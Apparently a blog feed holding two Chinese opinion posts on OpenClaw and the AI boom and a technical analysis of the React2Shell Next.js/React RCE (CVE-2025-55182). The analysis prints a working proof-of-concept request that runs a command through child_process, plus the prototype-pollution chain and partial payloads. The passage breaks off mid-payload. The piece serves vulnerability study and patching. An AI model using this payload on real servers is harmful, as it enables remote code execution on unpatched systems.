阅读视图

发现新文章,点击刷新页面。
🔲 ☆

Re0(2) - OpenClaw到底为什么爆火?

上篇博客中,我分享了最近关于AI的见闻和感受。本来按照流程,我应该用几篇博客的时间介绍一下最近接触和学习到的东西。

但最主要的是,感觉如果不先聊聊OpenClaw,这东西很可能就要过气了。

Peter Steinberger作为独立开发者,由于非常喜欢Claude,在几个月之前发布了开源的自托管助手Clawdbot,短短几个月火爆全网,引发了非常大的热情狂潮,很多人把OpenClaw称为Web4.0时代的开端。

Clawdbot,后来改名Moltbot,现在又改名叫Openclaw,最近最有名的称呼应该叫做龙虾。

无论你是否认可后面我的理解和感受,但我必须强烈的告诉你。

绝对不要把OpenClaw部署在生产环境/或者自己的实际使用主机上,一定要放在一个独立的环境中运行。

其实Openclaw并不是第一个依托于LLM的主动代理助手,这个类似的概念我1年前就听过,之前Meta收购的Manus AI,Manus可能也不是最早的,而且很多人说Manus根本没有成品。但这个概念很早就有了。

如果对Claude Code比较熟悉的朋友应该知道,其实Claude Cli和OpenClaw本质上没有什么区别,换言之,从设计理念的角度,OpenClaw就是没有任何安全限定的Claude Code。

从这个角度来说,OpenClaw的技术突破似乎没什么价值,客观来说,OpenClaw是个人维护+ai编程+接受了大量pr,代码质量堪忧,我相信如果用过一段时间的OpenClaw都会知道到底有多难用!

OpenClaw的爆火真的是偶然吗?

OpenClaw应该是第一个,完全免费开源,并且已经进入可用阶段的托管式AI助手,这也是OpenClaw爆火的起因,在2025年年底,AI使用的方法论已经基本成型,无论是工作流、agent,还是mcp、skill,又或者是自己实现的记忆、上下文,AI的使用方和大模型基座的强依赖进行了脱离。

这意味着,除了大模型本身的能力在进化,AI的应用也开始趋于成熟,OpenClaw使用的完全托管式AI的设计理念,解放大模型的所有能力,允许AI以助手的方式完成任何事情。

对于熟练使用Claude Code的朋友来说,或许OpenClaw的创新点太过于小,问题又多,但是对于非技术的用户来说,Claude的安全限制多,OpenClaw门槛低上手快,还可以以IM的方式沟通调教。

国内爆火的理由?

这自然就成了爆火的理由,当然在国内OpenClaw如此爆火,我个人觉得腾讯功不可没,腾讯可以说是第一时间跟进了OpenClaw,并且围绕OpenClaw在腾讯云做了活动,还可以一键部署轻应用服务器,几十块钱+几十分钟就可以搞出一个独立的AI助手,然后你就可以“快乐”的养龙虾了。

腾讯云这价格基本上等同于史低了,而且还可以一键部署OpenClaw。

相比腾讯云的方案来说,其他国内的Claw,有些虽然进行了一定的国内化魔改更好用,但是客观来说确实太贵了,就比如国内最早的定制化Claw之一Kimi Claw

必须要开启Allegretto会员才可以使用该功能,而这个级别的会员按照连续包年来算也要159每月,虽然这个价格对于Coding plan来说并不算很贵,但对于没有相应需求只是想试试AI助手的用户来说,着实有些太贵了。

除此之外,最值得期待的应该是腾讯要推出的Qclaw

如果亲自上手过OpenClaw,应该会明白,这东西和IM的相性是好不好用很重要的一环,像飞书虽然接口众多,但是平时日常没人用飞书,而且OpenClaw操作飞书文档有点儿问题总是修不好。

ps:我想用OpenClaw做个日报,一个图片他改了2天还改不好

我是一个微信的深度用户,曾经以各种方式运营过微信机器人4-5年,但是微信bot却一年比一年严格,我用的好几个项目都被封了,相关的接口也被关闭,我的机器人微信被封了不知道多少次,微信之前唯一机器人接入方式是企业微信,不但需要企业认证,实用性也非常差。

虽然下面这个图是玩梗,但我真希望是真的,这代表我的很多需求都可以托管实现了。

抛开营销,OpenClaw有价值吗?

我想这是每一个想要了解OpenClaw的用户都想知道的问题,我不敢说我真的很了解,因为我也依旧处于初体验的阶段,但我也分享下我的想法。

我知道所有关于OpenClaw的营销号,都在反复的推行一个概念,就是“养龙虾”。

  • 什么是“养龙虾”?

用技术的方式,通俗易通的讲,就是通过长期的反馈强化矫正,来培养一个更成熟,更有实用价值的AI助手,方法也不复杂,就是构建Skill,管理长期记忆,塑造AI那一套方法。

这套方法论并不新颖,在Claude Code中,长期管理Claude.md就是一种培养AI的方案,上篇文章里我提到Claude Code的开发团队可以长期使用AI编程,其中之一就是,他们会把部分最高指令长期培养在Claude.md,AI编程就会原来越好用,同理。

  • 听起来好像很靠谱?!

虽然原理很靠谱,主流的AI工具也都是这样的做法,但很可惜的是,OpenClaw并不是一个成熟的项目

前面说过,OpenClaw是一个个人开发的项目,开发Peter还靠这个项目加入了openai,虽然程序员也是厉害的程序员,但是短短几个月维护一个不知道多少人关注的开源项目,只能靠大量的AI开发+大量的PR。好处是OpenClaw更新快,坏处是短短几个月OpenClaw就成了超大屎山代码,不说设计上的问题,光是代码和开发上的问题就频频出问题。

有一些特别具体的例子,我分享几个。

  • 开发和管理上的问题

2026.3.2版本,OpenClaw更新新版本,在没有任何提醒和预告的基础上,把默认权限降低到了message,只允许OpenClaw发送信息不能执行命令

更新完之后,OpenClaw瞬间任何执行命令的权限都没有,要知道OpenClaw存在的价值就是可以开放全权限在环境内操作,设计好的功能都无法正常使用。

最关键的是OpenClaw他自己也没有做相应的记忆,询问他发生了什么他自己不知道,我花了好长时间研究才发现是新更新版本的问题。

  • 默认的配置权限混乱

如果操作OpenClaw抓取图片发送给我,大概率会失败。

我花了一段时间研究修复,最后发现原因也很搞笑。

如果让OpenClaw操作浏览器抓取图片,或者用某种mcp生成图片,这个图片的默认保存位置是/tmp,但是OpenClaw的默认权限,他只能操作自己项目空间目录下,也就是/root/.openclaw/workspace/目录下的问题。所以是他没有权限操作。

没有读取tmp目录的权限很奇怪,OpenClaw自己对这件事情也没有预设也很奇怪。

  • 上下文过长,记忆混乱

其实我不知道这个问题谁是因谁是果,可能是因为上下文过长才导致记忆混乱,也可能是因为OpenClaw本身记忆管理有问题所以导致其他衍生问题。

我稍微和OpenClaw提一些小需求,他的token消耗就是几百万几百万的了,哪怕是维持平时的cron任务,不做任何主动思考任务都有几十万的消耗。

这带来的衍生问题非常严重,我问了周围的朋友,大体上都遇到了和我同样的问题,就是感觉大模型变傻了很多,我用的是GLM5,刚出来的时候都可以接近opus4.6的效果了。

但是在OpenClaw他理解不了我的需求的时候非常多,我让他在飞书文档里上传图片,断断续续的和他沟通了2天,还是没实现,大量的无意义思考,很多犯过的错误我多次指正之后就忘记了。

而且我自己的感觉是,这个问题和我的实现方式关系不大,即便我多次要求他调用官方sdk,写python脚本实现,并在skill中要求必须调用python脚本实现,这个问题依然没有得到完美解决。

甚至如果使用的时间够长,那么被我设置为最高指令的部分,他都不会遵守。

这让我意识到一个问题,不管问题的起因在哪,OpenClaw实际上是没有能力承担类似Claude的自主项目开发能力的,这也意味着所谓的养”龙虾”其实从根上暂时是不成立的,OpenClaw不会因为短期的培养变的更好,比起养来说,探索OpenClaw的能力边界,等他或者类似的工具更新,是更靠谱的选择。

ps: 或许你看到这里会说可以用第三方记忆方案替换OpenClaw,我也仍旧在研究学习中,但侧面也证明了OpenClaw本身的问题。

对了如果你是希望用OpenClaw开发项目,我还是建议你多了解下Claude的最佳实践。

  • 安全性?

随着OpenClaw爆火,这几天关于OpenClaw的安全问题被屡屡提及,尤其是安全圈相关,大家都恨不得蹭这个热度。

虽然漏洞列表里可以写出密密麻麻的一大堆OpenClaw漏洞,安全威胁提醒可以写出密密麻麻好多条,但实际上OpenClaw并没有可以直接利用的远程漏洞,在安全圈如果不能直接利用,我们更愿意把他称之为安全风险。

其实谈论到OpenClaw的安全风险,首先要讨论的说不定应该是OpenClaw本身的安全限制,首先OpenClaw的设计理念和Claude就有差异,OpenClaw的核心是托管,完全无人工参与,那么你给OpenClaw本身做安全风险限制,最后麻烦的只有自己,但反过来他的风险也同样来自于自己。

ps:我也遇到过类似的事情,我让他一直改脚本,改着改着他给自己删了重写,变成了一坨。

提示词注入个人觉得其实算是有点儿无妄之谈了,这个场景几乎不存在,先不说能不能操作微信,谁会把接到IM接到自己的常用微信上,还给了对外的操作权限呢?

一定要说的话,我觉得最早期听说过的一个故事还算相对比较有可能性,Clawdbot最早爆火是自动炒币助手,还会直接把web界面开到公网去,可以通过公网入口对话取得和炒币平台交互的密钥,我不知道是不是真的有这种傻子,但把OpenClaw装到自己的生产力工具上,我还是觉得第一个要担心的是他把你机器给格了

另一个算是问题比较大的,就是供应链攻击。

现在的AI工具已经处于Skill时代了,给ai赋予Skill能力就像教会人学会对应的技能,AI会获得更多的能力去做更多事情,那对应的skill市场当然也就应运而生,OpenClaw官方用的是Clawhub。

他最大的特点就是,和其他包管理器一样,用户可以自由上传自己的skill,当然随之而来的供应链攻击就会很多。

感觉有点儿太老生常谈了,随便下skill和以前随便下包是一样的。

OpenClaw到底有什么用?

相比OpenClaw的缺点和问题来说,其实OpenClaw到底有什么,到底能做到什么,是一个需要实践探索的问题。

客观来说,有更好的工具珠玉在前,OpenClaw最大的优势很难撇得开门槛低。

或者说OpenClaw最大的价值就是,你可以以极低的成本操作服务器来完成任务,而这个任务目前来讲最好的实现逃不开爬虫。

比如说80%的人都看过的OpenClaw案例,推荐股票

说白了就是,读取股票数据喂给大模型,然后根据你的仓位,固定时间提醒你操作(应该没人真的把自动交易交给OpenClaw吧)。

本质就是一个后台运行的爬虫,建立在OpenClaw上完成这个需求门槛极低,不需要会写代码,会阐述需求即可。

我自己用OpenClaw玩了一周多的时间,其中唯一一个稳定运行没出过毛病的也是爬虫,帮我监控nga热门帖子推送给我。

主要是OpenClaw和系统的crontab联动的很好,定时任务很稳定,操作浏览器访问页面爬取内容,可以靠大模型完全自己实现并持续优化,最后内容还可以让大模型自己再处理一遍。

这一套下来最方便的点就是,如果我遇到什么问题,我可以直接通过IM交互提需求解决,不像自己写爬虫要不停的修复处理反爬等各种问题。

当然这里我发现有一个非常坑的误区就是,虽然OpenClaw非常方便,不需要你直接写代码,但是客观实际遇到的问题非常之多,这也是我不看好OpenClaw可以由一个完全不懂技术的人养好的原因之一

举一个最好的例子就是之前那个图片的例子,我在和OpenClaw沟通的时候他完全理解不了为什么图片没有发出来,查了好多资料才发现是OpenClaw的安全限制,类似的事情出现非常多,完全不懂技术的朋友很难理解问题出在哪,只能不停的提出需求无法解决之后,被迫放弃。

ps:我让他去小红书搜索帖子,他一直说mcp启动不了,实际上是他没有正确按照这个mcp的文档启动

截止目前为止,我仍然在调校OpenClaw帮我写公众号,效果依旧不理想,还在努力中

写在最后

洋洋洒洒写了一大堆,主要还是分享我对OpenClaw的认知和见闻,营销号看的太多,总是分不清什么是真的什么是营销的,在信息爆炸的时代这或许是个常态。

  • OpenClaw到底有没有意义?

有,首先作为开源工具证明了这个理念的可行性,nb

  • OpenClaw到底是不是营销出来的?

是,OpenClaw原生至少现在,根本不具备被养的能力

  • OpenClaw值不值得玩一下?

我只能说比你想象的可能要有用一些

我们下篇再见!

🔲 ☆

Re0(1) - AI变革的时代来了吗?

许久没有起笔写博客和公众号了,忽然一下起笔,似乎一下子找不到下笔的方式和由头,其实我想恢复写博客的习惯很久了,最近几年博客写的很少,原因有很多,一个这几年工作内容涉及到的公司内容比较多,不好去密,另一个是人真的是很懒惰的,放下笔很容易但是提起笔需要很多理由。

今天这篇博客,没有技术,只想和大家分享分享最近的想法。

认识我的朋友可能知道,这些年我另营业的副业做的还马马虎虎可以,无论是B站还是抖音,做视频做直播花费了很多精力,也有一些粉丝和收入。

反而是安全方向,做了很多东西但是实际的产出很少,在去年有一段时间甚至算是有点儿陷入迷茫阶段,有点儿不太清楚自己在干什么,每天公式化完成工作,最后整体算下来感觉自己也没什么成长。

我在奇安信的主要工作就是围绕破壳平台,后面我会更多分享和这个有关的内容

对我来说近期有一件事情影响非常之大,AI之于用户甚至之于这个时代都已经是老生常谈,哪怕是什么都不懂的人,多多少少也能打开个手机里的豆包,没事问问豆包问题,调戏调戏豆包。

从去年的年底开始,实话讲我并不知道具体是什么时候,有些人说是25年的10月,也有人说是更早,突然感觉AI的浪潮向我拍过来了,最开始我虽然会刷到这些新闻,但是很多时候只是大体看看怎么回事,大概知道,原来又多了一点儿新东西,但是好像也没啥新意。

我工作中使用AI更多的场景,依旧是平时拿AI当搜索软件搜索写代码遇到的问题,再就是用trae维护另一个我自己维护的平台功能,我很少会深度的使用AI。

在当时心中对于AI的认知还停留在,上下文不够长,幻觉严重的问题无法解决,这两个致命问题上,所以很多东西大概知道怎么回事,但是觉得没有花时间了解的必要。

直到12月底的两件事情,算是彻底改变了我的观念,也让我真真切切的意识到,或许真的AI时代的洪流,要到来了。

第一件事情就是,Claude Code的开发团队表示,在过去的30天,CC的所有代码都是由AI来完成的。

其实说实话,我没有很刻意的求证过该内容是不是有夸大其词的成分,也可能他是一次成功的营销,实际就是,我在大体了解了这件事情后续的相关内容之后(就是这个作者分享了他是怎么用cc做到这件事情的),给我造成了第一次认知冲击。

我相信在看到这句话,一定会有两种人对我讲的事情有完全不一样的第一反应。

第一种,就是很早就深耕AI agent的朋友,第一反应会觉得,这不是很正常吗,这已经是ai agent最基础不过的应用场景了。

另一种,就是当时的我,第一反应会觉得,假的吧怎么可能,我昨天用trae/cursor写代码,他还写出了一堆bug我修了一天。

但在后续仔细研究了CC团队分享的内容之后,你会发现,即便不是100%,AI的自动化率也至少超过了95%,对我来说当时的第一个冲击就是,原来已经有人领先这么多了。

第二件对我影响很大的事情就是,在12月的最后一天,我们团队内部做了一个专门的AI和漏洞挖掘的分享会,在这个分享会上,最早开始深度投入ai的团队,已经做出了一些非常不错的漏洞挖掘工作流,还有了很多成果。

这和我之前的认知大相径庭,在这之前我看过的大部分漏洞挖掘工作流,要不就是装模做样做分析但实际上上下文根本不足以支撑正常项目,只能跑跑测试样例写论文,要不就是辅助写CodeQL的规则,实际上没有脱离工具本身。

这两件事情几乎发生在同一时间,像洪流一样摧毁了我的认知,我自以为我天天了解AI的新闻,也在AI使用的第一线,但我自以为是的傲慢让我错过了最早跟上的第一班车。

在我刚刚意识到这件事情之后,马上从1月一直到3月,AI的热潮就已经越演越烈,除了过年的几天,我几乎每天都在接触和辨别新东西的诞生,今天还在测试做工作流,明天研究这个那个skill,后天研究openclaw。

我开始越来越意识到,我似乎正值某一个时代的风口。

其实在我不短不长的职业生涯中,也接触过好几次类似的事情。

我真正意义上错过的风口,其实只有一个,叫做移动互联网。但严格意义上来说也不算实际错过,毕竟移动互联网真正的核心腾讯、阿里、字节跳动,在我还没毕业的时候就已经成型了,最多就是没赶上第三波车,也不算非常可惜。

我第二次遇到所谓的风口,叫做区块链

和第一次不太一样,我曾经深度的all in过区块链1-2年,不仅仅是区块链安全,还包括区块链相关的很多内容,我甚至可以说是世界范围内,最早投入区块链安全的人群之一。

但在区块链这件事情上,我很快意识到,区块链最大的存在意义已经到这里了,金融就是他最好的场景,于是在后续的几年里我快速的从这里抽身出来。

幸运的是我的认知是对的,炒币已经是区块链最大的意义了。不幸的是,如果我继续投入区块链,我应该能获得足以安慰自己的身家,当然,没有如果。

在中间快速的跳过几年,上一次时代浪潮的风口叫做chatgpt,我认为chatgpt对于ai最大的贡献和价值,就是他终于帮助ai迈出了最关键的那一步,就是ai可以和人类沟通了。

在chatgpt出现的前几年,无论是最出名的阿尔法狗下围棋击败柯洁,还是探讨神经网络模型的深度学术,ai对于大家来说更多只是一个科幻名词,人们对于AI最高的想象力也不过来自于科幻电影,很多人对于AI的期望可能还是50-100年后。

2022年,chatgpt完全打破了普通用户和AI的第一扇窗,我们真正开始意识到,原来AI已经可以完成这么麻烦的语义解析了,可以完全打通语言这块,但最早的chatgpt也仅限于此。

在最早的版本中,ai的实用性还很差,大部分用户只能以prompt工程师的方式,想办法调动ai的能力,更有能力的公司会开始尝试微调,真正入局的大公司开始堆算力训练自己的大模型。

ps:只有我一个人觉得当年的prompt提示词没啥实际用吗?我最早一直觉得很怪。

最早的AI上下文极短,本身AI的能力也不够强,最早的应用场景做知识库,他的应用办法也是取巧,RAG的知识库模式应该是最早唯一的实现方式。

简单来说就是

1
2
3
4
5
6
7
8
9
用户提问

将问题向量化(Embedding)

在知识库中检索相关文档(Vector DB)

将检索结果 + 原始问题拼接为 Prompt

送入 LLM 生成最终回答

实话讲这套方案效果非常差,试图将AI能力薄弱转嫁为数学问题,在实际体验中效果就很一般了,那最早做AI搜索的知识库,搜索引擎,效果都不算好,更多都是以营销为核心。

再往后,大概是2023年年终,以GPT4为代表的大模型,以插件的形式打通了大模型和其他输入来源,最早的GPT,你只能问他已经训练过的数据,我记得当时有个标准就是不能问近3年更新的内容,GPT没学过。

从GPT4开放插件之后,大模型有了第三方的输入,其中最有价值的就是联网搜索,从这里开始,GPT真正意义上成为了很多人遇到问题搜索的第一优先级,最早是程序员使用搜索代码问题,再到后来,这类的观念和理念促成了23年最火的AI工具cursor,自此用AI辅助编程就成了主流,被越来越多人接受和使用。

再往后23年末,工作流、agent的概念诞生,事实上也正是从这里开始,我低估了方法论在AI实际使用上的效果。

其实从23末到25年,这个期间比起方法论的发展,AI更主流的发展是大模型的能力。

大家都知道的deepseek发起的算力革命,ds的出现打破了openai为首试图发起21世纪算力霸权的企图,从这里开始大模型不再拼谁的算力更强,集群更大。而是谁能做出更聪明的模型。

也正是从廉价大模型能力出现之后,以豆包为首的民用AI场景越来越强,越来越实用。

现在回顾25年,可以说25年是真正的AI元年。

民用情感对话方面,豆包的诞生。

代码相关,Claude code和codex都是25年诞生。

还有一个大家可能关注比较少的领域,AI视频生成,即梦AI 2.0也是刚刚发布,在这之前AI视频更多停留在换脸或者生成一个奇怪的AI感很强的搞怪视频。

但在26年,视频AI可以说是突飞猛进,过年期间我刷到过很多关于真人AI后室vlog的视频,不知道有没有人了解过,效果非常好,在年后甚至有那种效果非常好的ai短剧出现,不是说AI视频已经可以替代真人,但会有一种护城河被冲破的感觉。

ps:我不知道我看的这个是不是最早做的,但是他用了真人演绎+AI视频做的后室vlog,效果非常好,我知道他是AI做的,但是我并不反感,真的很不错。

再往后,从26年开始,我真正意识到AI浪潮已来之后,26年的热点和浪潮一波接着一波。

首先是元旦到年间的AI大战,阿里的千问,腾讯的元宝,字节的豆包,铺天盖地的宣传和推广袭来,颇有点儿当年阿里腾讯支付大战的风采,现在最不敏感的普通民众应该都意识到似乎有很多东西不一样了。

大模型方面年后大量的新模型发布,GPT5.4,Claude Sonnet4.6,Gemini 3.1Pro,Grok 4.2,GLM5,Minmax2.5,还包括前面说的视频ai seedance 2.0,虽然大模型的能力没有革命性的进步,但不同模型的能力也在进一步拉齐。

ps:给大家推荐下我现在用的特别多的GLM5,实话讲我也觉得和opus差距较大,但是这个模型真的便宜,我近期那种测试学习向的AI都用了这个。

🚀 邀请链接:https://www.bigmodel.cn/glm-coding?ic=BNTJWOGIBH

很快我们迎来了年后的第一个大热点。

最早的Clawdbot,后来改名Moltbot,现在又改名叫Openclaw,最近最有名的应该叫做龙虾。其实Openclaw并不是第一个依托于LLM的主动代理助手,这个类似的概念我1年前就听过,之前Meta收购的Manus AI,Manus可能也不是最早的,而且很多人说Manus根本没有成品。但这个概念很早就有了。

年初Openclaw爆火,其实我觉得主要推手就是腾讯,腾讯以非常快的效率跟进并推广这个东西。

今天这篇博客我先不讨论太多Openclaw,但下面这张图确实很有意思。

时至今日,正处于时代浪潮风口当中,AI变革的时代来了吗?

或许现在的我给不出答案,但后续的博客中,我会伴随着我的学习和分享,和大家一起探讨这个答案。

🔲 ☆

不容错过的2025年度漏洞:React2Shell(CVE-2025-55182)分析

2025年12月3日,时隔4年,安全圈又一个通杀环境的核弹漏洞被公开,CVSS评分10.0,影响范围React 19+全版本,Next.js 15/16,无条件默认环境RCE漏洞,史称React2shell。

该漏洞由安全研究员 Lachlan Davidson 于 2025 年 11 月 29 日发现,在3号被公开

最早的版本大家讨论的结论是,只有使用rsc作为后端的环境才会受到漏洞的利用,主要原因还是受到了最早版本poc的影响,也就是ejpir专门构造的漏洞环境和poc。

但是很快maple3142在12月5日发布了真正的poc

在更快的时间内,next.js默认环境全版本通杀直接影响了以dify为代表的许多平台,一下子引爆了漏洞的影响范围,漏洞正式进入2阶段,大范围利用以及企业内部自查阶段。

漏洞影响范围

影响范围包括

  • react-server:19.0.0,19.1.0,19.1.1,19.2.0
  • Next.js:14.3.0-canary、15.x 、16.x

修复补丁版本包括

  • React:19.0.1、19.1.2 、19.2.1
  • Next.js:14.3.0-canary.88、15.0.5、15.1.9、15.2.6、15.3.6、15.4.8、15.5.7、16.0.7

简单的漏洞演示

最简单的漏洞演示非常简单,直接起一个默认环境的next.js即可

poc直接用maple的即可(这里要注意这个poc不能用来打线上环境,会打挂的)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 565

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('clac.exe').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

漏洞分析

什么是RSC(React Server Components)?

在了解react2shell这个漏洞之前,第一个问题一定是,为什么一个前端语言会涉及到服务端的命令执行呢?这个问题就涉及到了React的新特性RSC(React Server Components)。

其实理解这个特性并不是很难,如果稍微关注过现在的前端实现方式,就会大概知道现在前端页面内容大多都是由js绘制的。打开页面往往没有实际的内容,都是由js代码完成交互获得内容并绘制页面。

但是我们换个角度去想,如果浏览器加载页面需要先js绘制,然后页面加载结束之后再去请求后端获得数据,如果页面复杂或者数据非常多,就会很容易加载慢,页面长时间的空白,体验感很差。

那么最初解决的方法也很简单,传统的SSR解决方案,就是服务器直接把页面和数据做好处理,直接返回HTML,页面就可以跳过处理的部分直接显示部分内容减少加载时间。但是问题也很明显,如果请求数量多,服务器压力就会大,而且如果页面很大,请求的js和html也会很大加载也会慢。

为了解决这些问题,后来又提出了RSC(React Server Components),服务端做好必要的数据处理,并以Flight协议的方式下发到客户端,客户端按照接收到的内容进行选择性水合,流式的更新前端交互内容。

在23年,Next.js13进一步延伸加入了Server Actions功能,在服务端提前定义好功能,通过客户端调用服务端运行操作,效率更高。并在后续这个特性被内置到了React中。

什么是Flight协议?

这个漏洞的基础根基就是Flight协议,Flight协议就是React搞得一套用来在服务端和客户端之间传递信息的协议,传递到前端则会影响前端页面的显示内容,传递到后端则是会执行对应的Server Actions。说白了就是一个有点儿类似于java传递序列化信息的东西。

React的服务端会在接收到请求之后经过一系列处理最终反序列化得到js对象

其实大多东西都不值得关注,其中最关键的部分是类型标识,带有特殊标记的变量会在反序列化的时候转化为对应的对象引用,这点其实和其他语言反序列化的逻辑类似。

理论上来说,反序列化并没有对内容做严格的限制,只要符合格式,就可以获得对应的js对象。

而这个漏洞的核心原理,在服务端对传入内容解析转对象时,导致了原型链污染,最终触发代码执行。

在实际的漏洞之前,可能还需要知道Chunk对象是什么。

Chunk对象

在React服务端收到post请求,请求包的content-type为multipart/form-data,其中每段数据将会转化为一个Chunk对象。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
function Chunk(status: any, value: any, reason: any, response: Response) {
this.status = status;
this.value = value;
this.reason = reason;
this._response = response;
}
// We subclass Promise.prototype so that we get other methods like .catch
Chunk.prototype = (Object.create(Promise.prototype): any);
// TODO: This doesn't return a new Promise chain unlike the real .then
Chunk.prototype.then = function <T>(
this: SomeChunk<T>,
resolve: (value: T) => mixed,
reject: (reason: mixed) => mixed,
) {
const chunk: SomeChunk<T> = this;
// If we have resolved content, we try to initialize it first which
// might put us back into one of the other states.
switch (chunk.status) {
case RESOLVED_MODEL:
initializeModelChunk(chunk);
break;
}
// The status might have changed after initialization.
switch (chunk.status) {
case INITIALIZED:
resolve(chunk.value);
break;
case PENDING:
case BLOCKED:
case CYCLIC:
if (resolve) {
if (chunk.value === null) {
chunk.value = ([]: Array<(T) => mixed>);
}
chunk.value.push(resolve);
}
if (reject) {
if (chunk.reason === null) {
chunk.reason = ([]: Array<(mixed) => mixed>);
}
chunk.reason.push(reject);
}
break;
default:
reject(chunk.reason);
break;
}
};

这里需要关注两个case

当case是”resolved_model”时,调用initializeModelChunk方法初始化Chunk对象

当case是”fulfilled”时,调用resolve方法处理

这个Chunk对象结构将会贯穿这个漏洞很多流程

漏洞分析

让我们回到React处理请求的逻辑上,核心位于decodeReplyFromBusboy方法

response来自于createResponse,其中_formData刚好对应表单传入的formdata

紧接着绑定事件到field上,会对应触发resolveField处理response

一直执行到return getRoot,会尝试获得response的第0个Chunk

在getChunk中,由于_formData此时不为空,所以走到createResolvedModelChunk方法,并新建一个Chunk对象,id为0

完成了Chunk对象的初始化之后,会触发then方法回到状态判断上

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
Chunk.prototype.then = function <T>(
this: SomeChunk<T>,
resolve: (value: T) => mixed,
reject: (reason: mixed) => mixed,
) {
const chunk: SomeChunk<T> = this;
switch (chunk.status) {
case RESOLVED_MODEL:
initializeModelChunk(chunk);
break;
}
switch (chunk.status) {
case INITIALIZED:
resolve(chunk.value);
break;
case PENDING:
case BLOCKED:
case CYCLIC:
if (resolve) {
if (chunk.value === null) {
chunk.value = ([]: Array<(T) => mixed>);
}
chunk.value.push(resolve);
}
if (reject) {
if (chunk.reason === null) {
chunk.reason = ([]: Array<(mixed) => mixed>);
}
chunk.reason.push(reject);
}
break;
default:
reject(chunk.reason);
break;
}
};

此时Chunk的status为RESOLVED_MODEL,所以走到initializeModelChunk方法初始化对象。

initializeModelChunk中对发送的请求做解析处理,解析完成之后会把status修改成INITIALIZED。

在reviveModel中,会解析_response的内容,当请求为string类型时,会有一段额外的指令处理逻辑,其实对应的就是前面Flight协议的类型标识

这里比较重要的有几个

  • $@后跟id,可以递归获取其他id的Chunk对象,这个后面会提到的漏洞利用涉及到的点之一
  • $B后跟id,可以获取对应formData中对应key的value,可控内容来源

如果第一个字符是$,但是后续没有走到对应的分支,将会在最终进入getOutlinedModel

在getOutlinedModel中,将会把$符号之后的内容按照:分割

分割后的第一段为Chunk的id,进入getChunk

后续根据Chunk的状态进入处理,依次遍历所有的path并赋值给value,这里也是触发漏洞的位置。

这里结合poc可能会更有感觉一些

1
2
3
4
poc的核心部分:$1:__proto__:then
获得id为1的Chunk对象,并且获得对应的value
value2 = value["__proto__"]
value3 = value2["then"] = value["__proto__"]["then"]

这样一来通过原型链就可以访问任意对象的属性,那么如何用这个漏洞来实现RCE呢?

这其实涉及到一个JS的特性,其实JS的非常多各种对象都是来源于同一个原型,这也是为什么JS的原型链污染问题层出不穷,就比如说很多对象向上找都会追溯到Function对象。

就比如[].constructor.constructor就是一个Function对象,操作这个对象就可以实现任意代码执行。

在这个基础上我们如何读取都知道了,你怎么如何操作呢,如果我们非常简单的直接链式调用读取Function,就会遇到这样一个问题,假设请求内容为

1
2
3
4
5
6
7
8
9
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{"then":"$1:constructor:constructor"}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

此时会出现这样一个问题

1
2
3
4
1、getChunk(0)
2、getOutlinedModel中通过分割path并且遍历getChunk(1),返回value为[]的Chunk对象
3、最终value为[].constructor.constructor也就是Function对象
4、那么此时返回上层then的是Function对象,由于Function不是一个Promise对象,无法继续执行

那唯一的办法就是要让最后返回的对象也是一个Chunk对象。

这就涉及到了一个前面提到过的知识,就是$@

  • $@后跟id,可以递归获取其他id的Chunk对象

那这里我们尝试用一个嵌套递归逻辑来实现返回一个Chunk对象

1
2
3
4
5
6
7
8
9
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{"then": "$1:then"}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad

来看看这个请求的处理逻辑

1
2
3
4
5
1、getChunk(0)
2、getOutlinedModel中通过分割path并且进入getChunk(1)
3、@0 触发第二次getChunk(0),返回的是Chunk0的实例
4、返回到getOutlinedModel进入遍历,此时value对应为Chunk0的实例,return的就是Chunk对象
5、最终await触发Chunk0的then方法

这里我们理明白这套嵌套逻辑之后,其实还有一个问题,这就涉及到前面提到的另一个点

  • $B后跟id,可以获取对应formData中对应key的value,可控内容来源
1
2
3
4
5
6
7
8
case 'B': {
// Blob
const id = parseInt(value.slice(2), 16);
const prefix = response._prefix;
const blobKey = prefix + id;
const backingEntry: Blob = (response._formData.get(blobKey): any);
return backingEntry;
}

而_prefix作为response中的可控部分,通过控制_prefix就可以指定blobKey的前半部分内容,此时如果我们通过原型链污染把get修改为Function,就可以顺利成章的触发Function(exp)

这里我们直接拿公开的poc来看利用逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
